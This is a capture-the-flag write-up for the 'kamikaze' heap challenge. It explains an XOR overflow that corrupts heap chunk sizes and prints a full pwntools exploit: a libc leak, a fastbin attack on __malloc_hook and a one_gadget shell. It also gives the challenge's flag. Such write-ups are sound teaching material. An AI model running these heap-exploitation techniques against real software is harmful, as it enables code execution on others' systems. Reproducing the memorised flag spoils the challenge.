Tags: heap fastbin 

Rating:

**Description**

> This app is the secret to Eminem's lyrical genuis. Wonder what other info is hidden in there.
>
> `nc 185.168.131.14 6200`

**Files provided**

- [kamikaze](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/kamikaze)

**Solution** (by [Mem2019](https://github.com/Mem2019))

The problem is here.

```c
//in create
read(0, v3->buf_0x10, 0x10uLL); // no term
//in KAMIKAZE, which is a xor
for ( i = 0; i < strlen(v4->buf_0x10); ++i )
v4->buf_0x10[i] ^= seed; // strlen may > 0x10 !
```

so we can change the size of next chunk.

However, it is restricted that `1 < seed <= 0xE`, so we can only change the least significat 4 bits; however, this is not related to size but is some bit flag. If we want to change the size, we must have chunk with `size > 0x100`, which cannot be allocated directly since only fast bin size is allowed.

Thus, we need to construct an unsorted bin first by shrinking the size of top chunk. If the size required by `malloc` is larger than the top chunk, and there are chunks in fast bin free list, these fast bins will be consolidated into an unsorted bin.

Luckily, the top chunk size is `0x21000`, and after allocating some chunks, it will be `0x20XXX`, which can be shrinked if we xor it with 2, and at the same time the top chunk is still page aligned.

After having an unsorted bin chunk, we can extend the unsorted bin to leak the libc and rewrite the pointer in the struct to achieve arbitrary write.

Unlike the `Back Reimplemented` challenge, the `read` is used instead of `fgets`, so we can write 6 non-zero bytes if there are 6 non-zero bytes originally. What I did is to write the 0x70 fast bin list header in `main_arena` to `__malloc_hook - 0x23 ` (0x7f fast bin attack), thus rewriting the `__malloc_hook` to `one_gadget`

exp:

```python
from pwn import *

g_local=True
context.log_level='debug'

UNSORTED_OFF = 0x3c4b78
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if g_local:
sh = process('./kamikaze')#env={'LD_PRELOAD':'./libc.so.6'}
#gdb.attach(sh)
else:
sh = remote("185.168.131.14", 6000)

def create(weight, data, size, short):
sh.send("1\n")
sh.recvuntil("the weight of the song: ")
sh.send(str(weight) + "\n")
sh.recvuntil("size of the stanza: ")
sh.send(str(size) + "\n")
sh.recvuntil("the stanza: ")
sh.send(data + "\n")
sh.recvuntil("a short hook for it too: ")
sh.send(short)
sh.recvuntil(">> ")

def edit(weight, data):
sh.send("2\n")
sh.recvuntil("song weight: ")
sh.send(str(weight) + "\n")
sh.recvuntil("new stanza: ")
sh.send(data)
sh.recvuntil(">> ")

def xor(weight, seed):
sh.send("3\n")
sh.recvuntil("song weight: ")
sh.send(str(weight) + "\n")
sh.recvuntil("seed: ")
sh.send(str(seed) + "\n")
sh.recvuntil(">> ")

def delete(weight):
sh.send("4\n")
sh.recvuntil("song weight: ")
sh.send(str(weight) + "\n")
sh.recvuntil(">> ")

def show(idx):
sh.send("5\n")
sh.recvuntil("song index: ")
sh.send(str(idx) + "\n")
sh.recvuntil("Weight: 0x")
weight = sh.recvuntil("\n")
sh.recvuntil("Stanza: ")
buf = sh.recvuntil("\n")
sh.recvuntil(">> ")
return (int(weight, 16), buf[:len(buf)-1])

create(0, "A", 0x70, "P" * 0x10)
create(1, "A", 0x30, "P")
for i in xrange(2,5):
create(i, "A", 0x20, "P")
for i in xrange(2,5):
delete(i)
#prepare many 0x20 fastbin chunks
#so that 0x70 will be adjacent

for i in xrange(2,21):
if i != 9:
create(i, str(i), 0x70, "P" * 0x10)
else:#fake a chunk here, for unsorted bin
create(i, "9" * 0x10 + p64(0) + p64(0x61), 0x70, "P" * 0x10)
create(21, "A", 0x20, "P" * 0x10)
delete(21)
delete(1)

# topchunk size = 0x20171
# 0x30: 0x5555557570b0 -> 0x555555757e30 -> 0x555555757e60 -> 0x0
# 0x40: 0x5555557570e0 -> 0x0

create(1, "A", 0x20, "P")
create(21, "A", 0x30, "P" * 0x10)

xor(21, 0x02)
xor(21, 0x02)
#topchunk size = 0x171

for i in xrange(2,6):
delete(i)
#delete some 0x70+0x30 fastbins

for i in xrange(2,6):
create(i, "A", 0x60, "P")
delete(2)
delete(3)
create(2, "consume 0x30", 0x20, "A")
#0x191 unsorted bin
#2 0x70 fastbin

create(22, "leak", 0x60, "P" * 0x10)
#0x161 unsorted bin
xor(22, 1 ^ 3)
#0x363 unsorted bin

create(23, "consume", 0x70, "0xb0")
create(24, "consume", 0x70, "0xb0")

libc_addr = u64(show(1)[1] + "\x00\x00") - 0x3c4b78
print hex(libc_addr)

create(25, "consume", 0x70, "0xb0")

create(26, "A" * 0x18 + p64(0x31) + p64(2019) + p64(libc_addr + 0x3c4b50) + p64(0), 0x70, "overlap")

edit(2019, p64(libc_addr + e.symbols["__malloc_hook"] - 3 - 0x20)[:6])

create(27, "A" * 0x13 + p64(libc_addr + 0xf02a4), 0x60, "edit")
sh.send("1\n")
sh.interactive()
```

However, the flag is `flag{D0n1_4lw4ys_trU5t_CALLOC_1ts_w3ird_lol}`, but I think my solution also works with `malloc`, so I've got unexpected solution for all 3 heap pwns XD

Original writeup (https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/README.md#982-pwn--kamikaze).